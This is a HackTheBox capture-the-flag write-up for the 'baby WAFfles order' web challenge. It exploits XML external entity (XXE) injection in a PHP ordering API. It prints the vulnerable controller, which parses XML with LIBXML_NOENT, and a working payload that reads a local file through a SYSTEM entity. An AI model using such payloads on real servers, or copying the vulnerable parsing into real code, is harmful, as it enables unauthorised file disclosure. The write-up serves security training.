baby WAFfles order
baby WAFfles order
Platform: HackTheBox | Category: Web | Difficulty: Easy | Author: D3v0o0Nu11 | Date: 2026-02-10
Description
Our WAFfles and ice scream are out of this world, come to our online WAFfles house and check out our super secure ordering system API!
Solution Approach
Core idea: Identify the weakness from source review or fingerprinting first. Iterate with incremental payloads instead of guessing.
Steps
-
First, open the host given.
-
Let's try to order
ICE SCREAMfor table number 1. -
Actually didn't see any change.
-
Notice the web's title named
xxe. Hence we may do XML injection (?) -
Let's use burpsuite to play with the request.
-
Let's try to order "ice scream" for table 1, and open the request in burpsuite.
-
Now send the request to repeater.
-
I used a payload from this online cheatsheet.
-
Let's use this one.
-
But, we need to find the correct html tag and modify some of the payload.
-
When i tried traverse the directory which have the source codes, looking for the correct tag.
-
Found OrderController.php.
php read-only • copy allowed<?php class OrderController public function order($router) { $body = file_get_contents('php://input'); if ($_SERVER['HTTP_CONTENT_TYPE'] === 'application/json') { $order = json_decode($body); if (!$order->food) return json_encode([ 'status' => 'danger', 'message' => 'You need to select a food option first' ]); return json_encode([ 'status' => 'success', 'message' => "Your {$order->food} order has been submitted successfully." ]); } else if ($_SERVER['HTTP_CONTENT_TYPE'] === 'application/xml') { $order = simplexml_load_string($body, 'SimpleXMLElement', LIBXML_NOENT); if (!$order->food) return 'You need to select a food option first'; return "Your {$order->food} order has been submitted successfully."; } else { return $router->abort(400); } }
-
I can assume that order and food are our entities. But since there's a table number as the placeholder, let's add that too.
-
Let's try with:
xml read-only • copy allowed<!--?xml version="1.0" ?--> <!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///flag"> ]> <order> <table_num>1</table_num> <food>&ent;</food> </order>
-
And change the
content-typevalue to -> application/xml, then send the request. -
Got the flag!
Flag
REDACTED
Lessons Learned
- Identify the weakness from source review or fingerprinting first.
- Iterate with incremental payloads instead of guessing.
- Reuse the same pattern in future engagements.